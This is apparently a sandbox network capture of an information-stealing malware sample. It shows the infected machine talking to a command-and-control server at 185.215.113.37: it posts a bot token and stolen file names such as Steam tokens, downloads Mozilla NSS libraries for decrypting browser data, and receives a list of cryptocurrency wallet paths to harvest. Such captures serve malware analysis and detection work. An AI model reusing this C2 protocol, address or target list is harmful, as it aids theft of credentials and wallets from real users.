Oct 13, 2024 14:49:20.154325962 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:20.238957882 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="file"------HCFBAFIDAECAKFHJDBAF--
Oct 13, 2024 14:49:20.968727112 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:21.648858070 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file"------KEHCAFHIJECGCAKFCGDB--
Oct 13, 2024 14:49:22.373738050 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:22.782433987 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:23.140845060 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 13, 2024 14:49:23.993777037 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:24.221277952 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 13, 2024 14:49:24.632921934 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:24.860491037 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 13, 2024 14:49:25.177426100 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:25.406133890 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 13, 2024 14:49:26.890306950 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:27.118330956 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 13, 2024 14:49:27.342318058 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 14:49:27.570265055 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 13, 2024 14:49:28.218183041 CEST	201	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.37 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 14:49:30.136540890 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:30.182777882 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="message"wallets------GCBKECAKFBGCAKECGIEH--
Oct 13, 2024 14:49:30.413322926 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 13, 2024 14:49:30.576896906 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBF Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="message"files------CGDBGCBGIDHCBGDHIEBF--
Oct 13, 2024 14:49:30.806411982 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:30.829539061 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file"------AKEGDHJDHDAFHJJKJEHC--
Oct 13, 2024 14:49:31.550118923 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
